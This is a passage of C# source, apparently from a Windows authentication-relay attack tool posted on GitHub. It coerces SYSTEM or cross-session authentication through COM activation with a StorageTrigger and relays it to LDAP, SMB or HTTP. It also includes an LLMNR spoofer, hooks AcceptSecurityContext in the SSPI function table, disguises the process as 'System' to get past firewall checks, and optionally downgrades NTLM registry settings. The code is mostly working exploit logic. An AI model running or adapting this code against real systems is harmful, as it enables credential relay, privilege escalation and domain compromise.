Console.WriteLine("[-] Could not connect to {0}. ldap_connect failed with error code 0x{1}", targetFQDN, ldapStatus.ToString("x2")); | |
return; | |
} | |
} | |
if (service == "cifs") | |
{ | |
bool isConnected = smbClient.Connect(targetFQDN, SMBTransportType.DirectTCPTransport); | |
if (!isConnected) | |
{ | |
Console.WriteLine("[-] Could not connect to {0}:445", targetFQDN); | |
return; | |
} | |
} | |
if (service == "http") | |
{ | |
if (!attacks.Keys.Contains("endpoint") || string.IsNullOrEmpty(attacks["endpoint"])) | |
{ | |
Console.WriteLine("[-] -endpoint parameter is required for HTTP"); | |
return; | |
} | |
//handler = new HttpClientHandler() { PreAuthenticate = false, UseCookies = false }; | |
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; | |
handler = new HttpClientHandler() { UseDefaultCredentials = false, PreAuthenticate = false, UseCookies = true }; | |
//handler.AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip; | |
//handler.ClientCertificateOptions = ClientCertificateOption.Manual; | |
//handler.AllowAutoRedirect = true; | |
//handler.Proxy = new WebProxy("http://localhost:8080"); | |
//handler.ServerCertificateCustomValidationCallback = | |
// (httpRequestMessage, cert, cetChain, policyErrors) => | |
// { | |
// return true; | |
// }; | |
httpClient = new HttpClient(handler) { Timeout = new TimeSpan(0, 0, 10) }; | |
string transport = "http"; | |
if (useSSL) | |
{ | |
transport = "https"; | |
} | |
httpClient.BaseAddress = new Uri(string.Format("{0}://{1}", transport, targetFQDN)); | |
//Console.WriteLine(httpClient.BaseAddress); | |
} | |
if (llmnr) | |
{ | |
if (service == "ldap") | |
{ | |
Console.WriteLine("[-] LLMNR will not work with ldap"); | |
return; | |
} | |
string argLLMNRTTL = "30"; | |
string argSpooferIP = ""; | |
string argSpooferIPv6 = ""; | |
if (!String.IsNullOrEmpty(argSpooferIP)) { try { IPAddress.Parse(argSpooferIP); } catch { throw new ArgumentException("SpooferIP value must be an IP address"); } } | |
if (!String.IsNullOrEmpty(argSpooferIPv6)) { try { IPAddress.Parse(argSpooferIPv6); } catch { throw new ArgumentException("SpooferIP value must be an IP address"); } } | |
if (string.IsNullOrEmpty(argSpooferIP)) | |
{ | |
argSpooferIP = Spoofing.Util.GetLocalIPAddress("IPv4"); | |
} | |
if (string.IsNullOrEmpty(argSpooferIPv6)) | |
{ | |
argSpooferIPv6 = Spoofing.Util.GetLocalIPAddress("IPv6"); | |
} | |
string spoofSPN = ""; | |
//if (service == "cifs") | |
// spoofSPN = targetFQDN.Split('.')[0]; | |
//else | |
// spoofSPN = targetFQDN; | |
spoofSPN = targetFQDN.Split('.')[0]; | |
Thread llmnrListenerThread = new Thread(() => Spoofing.LLMNR.LLMNRListener(argSpooferIP, argSpooferIP, argSpooferIPv6, argLLMNRTTL, "IPv4", spoofSPN)); | |
llmnrListenerThread.Start(); | |
//http | |
Spoofing.HttpRelayServer.start(service, argSpooferIP); | |
//Thread httpRelayServerThread = new Thread(() => Spoofing.HttpRelayServer.start(targetFQDN, useSSL, service)); | |
//httpRelayServerThread.Start(); | |
return; | |
} | |
//get value for AcceptSecurityContex | |
Console.WriteLine("[*] Rewriting function table"); | |
IntPtr functionTable = InitSecurityInterface(); | |
//Console.WriteLine("[*] functionTable: {0}", functionTable); | |
SecurityFunctionTable table = (SecurityFunctionTable)Marshal.PtrToStructure(functionTable, typeof(SecurityFunctionTable)); | |
//Console.WriteLine("[*] Old AcceptSecurityContex: {0}", table.AcceptSecurityContex); | |
//overwrite AcceptSecurityContex | |
IntPtr hProcess = OpenProcess(0x001F0FFF, false, Process.GetCurrentProcess().Id); | |
AcceptSecurityContextFunc AcceptSecurityContextDeleg; | |
if (ntlm == true) | |
{ | |
AcceptSecurityContextDeleg = new AcceptSecurityContextFunc(AcceptSecurityContext_ntlm); | |
} | |
else | |
{ | |
AcceptSecurityContextDeleg = new AcceptSecurityContextFunc(AcceptSecurityContext_kerb); | |
} | |
byte[] bAcceptSecurityContext = BitConverter.GetBytes(Marshal.GetFunctionPointerForDelegate(AcceptSecurityContextDeleg).ToInt64()); | |
int oAcceptSecurityContext = Helpers.FieldOffset<SecurityFunctionTable>("AcceptSecurityContex"); | |
Marshal.Copy(bAcceptSecurityContext, 0, (IntPtr)functionTable + oAcceptSecurityContext, bAcceptSecurityContext.Length); | |
//get new value | |
table = (SecurityFunctionTable)Marshal.PtrToStructure(functionTable, typeof(SecurityFunctionTable)); | |
//Console.WriteLine("[*] New AcceptSecurityContex: {0}", table.AcceptSecurityContex); | |
//Console.WriteLine(); | |
Console.WriteLine("[*] Rewriting PEB"); | |
//Init RPC server | |
int dwAuthnSvc = 16; | |
string pPrincipalName = spn; | |
if (ntlm == true) | |
{ | |
dwAuthnSvc = 10; | |
pPrincipalName = null; | |
} | |
var svcs = new SOLE_AUTHENTICATION_SERVICE[] { | |
new SOLE_AUTHENTICATION_SERVICE() { | |
dwAuthnSvc = dwAuthnSvc, // HKLM\SOFTWARE\Microsoft\Rpc\SecurityService sspicli.dll | |
pPrincipalName = pPrincipalName | |
} | |
}; | |
//bypass firewall restriction by overwriting checks on PEB | |
string str = SetProcessModuleName("System"); | |
StringBuilder fileName = new StringBuilder(1024); | |
GetModuleFileName(IntPtr.Zero, fileName, fileName.Capacity); | |
Console.WriteLine("[*] GetModuleFileName: {0}", fileName); | |
try | |
{ | |
Console.WriteLine("[*] Init com server"); | |
CoInitializeSecurity(IntPtr.Zero, svcs.Length, svcs, | |
IntPtr.Zero, AuthnLevel.RPC_C_AUTHN_LEVEL_CONNECT, | |
ImpLevel.RPC_C_IMP_LEVEL_IMPERSONATE, IntPtr.Zero, | |
Natives.EOLE_AUTHENTICATION_CAPABILITIES.EOAC_DYNAMIC_CLOAKING, | |
IntPtr.Zero); | |
} | |
finally | |
{ | |
string str2 = SetProcessModuleName(str); | |
fileName.Clear(); | |
GetModuleFileName(IntPtr.Zero, fileName, fileName.Capacity); | |
Console.WriteLine("[*] GetModuleFileName: {0}", fileName); | |
//Console.WriteLine(); | |
} | |
//Unable to call other com objects before doing the CoInitializeSecurity step | |
//Make sure that we'll use an available port | |
if (!checkPort(int.Parse(port))) | |
{ | |
Console.WriteLine("[*] Looking for available ports.."); | |
port = checkPorts(new string[] { "SYSTEM" }).ToString(); | |
if (port == "-1") | |
{ | |
Console.WriteLine("[-] No available ports found"); | |
Console.WriteLine("[-] Firwall will block our COM connection. Exiting"); | |
return; | |
} | |
Console.WriteLine("[*] Port {0} available", port); | |
} | |
//COM object | |
Console.WriteLine("[*] Register com server"); | |
byte[] ba = ComUtils.GetMarshalledObject(new object()); | |
COMObjRefStandard std = (COMObjRefStandard)COMObjRefStandard.FromArray(ba); | |
//Console.WriteLine("[*] IPID: {0}", std.Ipid); | |
//Console.WriteLine("[*] OXID: {0:X08}", std.Oxid); | |
//Console.WriteLine("[*] OID : {0:X08}", std.Oid); | |
//std.StringBindings.Clear(); | |
//std.StringBindings.Add(new COMStringBinding(RpcTowerId.Tcp, "127.0.0.1")); | |
//Console.WriteLine(std.ToMoniker()); | |
std.SecurityBindings.Clear(); | |
std.SecurityBindings.Add(new COMSecurityBinding(RpcAuthnService.GSS_Kerberos, spn)); | |
//RpcServerUseProtseqEp("ncacn_ip_tcp", 20, port, IntPtr.Zero); | |
//RpcServerRegisterAuthInfo(null, (uint)dwAuthnSvc, IntPtr.Zero, IntPtr.Zero); | |
// Initialized IStorage | |
IStorage stg; | |
ILockBytes lb; | |
int result; | |
result = Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero, true, out ILockBytes lockBytes); | |
result = Ole32.StgCreateDocfileOnILockBytes(lockBytes, Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE, 0, out IStorage storage); | |
Ole32.MULTI_QI[] qis = new Ole32.MULTI_QI[1]; | |
//insert our ObjRef(std) in the StorageTrigger | |
StorageTrigger storageTrigger = new StorageTrigger(storage, "127.0.0.1", TowerProtocol.EPM_PROTOCOL_TCP, std); | |
qis[0].pIID = Ole32.IID_IUnknownPtr; | |
qis[0].pItf = null; | |
qis[0].hr = 0; | |
object oldValue_LMCompatibilityLevel = null; | |
object oldValue_NtlmMinClientSec = null; | |
object oldValue_RestrictSendingNTLMTraffic = null; | |
if (downgrade && ntlm) | |
{ | |
SetDowngrade(out oldValue_LMCompatibilityLevel, out oldValue_NtlmMinClientSec, out oldValue_RestrictSendingNTLMTraffic); | |
} | |
try | |
{ | |
if (sessionID == -123) | |
{ | |
Console.WriteLine(); | |
Console.WriteLine("[*] Forcing SYSTEM authentication"); | |
Console.WriteLine("[*] Using CLSID: {0}", clsId_guid); | |
Ole32.COSERVERINFO si = null; | |
Ole32.CLSCTX clsctx = Ole32.CLSCTX.CLSCTX_LOCAL_SERVER; | |
if (triggerTarget != null) | |
{ | |
si = new Ole32.COSERVERINFO(); | |
si.pwszName = triggerTarget; | |
clsctx = Ole32.CLSCTX.CLSCTX_REMOTE_SERVER; | |
} | |
try | |
{ | |
result = Ole32.CoGetInstanceFromIStorage(si, ref clsId_guid, null, clsctx, storageTrigger, 1, qis); | |
} | |
catch (Exception e) | |
{ | |
Console.WriteLine(e); | |
} | |
} | |
else | |
{ | |
Console.WriteLine(); | |
Console.WriteLine("[*] Forcing cross-session authentication"); | |
Console.WriteLine("[*] Using CLSID: {0}", clsId_guid); | |
Com.COSERVERINFO si = null; | |
CLSCTX clsctx = CLSCTX.LOCAL_SERVER; | |
if (triggerTarget != null) | |
{ | |
si = new Com.COSERVERINFO(triggerTarget); | |
clsctx = CLSCTX.REMOTE_SERVER; | |
} | |
Guid tmp = new Guid("{00000000-0000-0000-C000-000000000046}"); | |
Guid CLSID_ComActivator = new Guid("{0000033C-0000-0000-c000-000000000046}"); | |
Guid IID_IStandardActivator = typeof(IStandardActivator).GUID; | |
var pComAct = (IStandardActivator)new StandardActivator(); | |
uint result2 = Ole32.CoCreateInstance(ref CLSID_ComActivator, null, 0x1, ref IID_IStandardActivator, out object instance); | |
pComAct = (IStandardActivator)instance; | |
if (sessionID != -123) | |
{ | |
ISpecialSystemPropertiesActivator props = (ISpecialSystemPropertiesActivator)pComAct; | |
Console.WriteLine("[*] Spawning in session {0}", sessionID); | |
props.SetSessionId(sessionID, 0, 1); | |
} | |
try | |
{ | |
result = pComAct.StandardGetInstanceFromIStorage(si, clsId_guid, IntPtr.Zero, clsctx, storageTrigger, 1, qis); | |
} | |
catch (Exception e) | |
{ | |
Console.WriteLine(e); | |
} | |
//Console.WriteLine("[*] StandardGetInstanceFromIStoragee: {0}", result); | |
} | |
} | |
catch (Exception e) | |
{ | |
Console.WriteLine(e); | |
} | |
//Marshal.BindToMoniker(std.ToMoniker()); | |
if (downgrade && ntlm) | |
{ | |
RestoreDowngrade(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic); | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment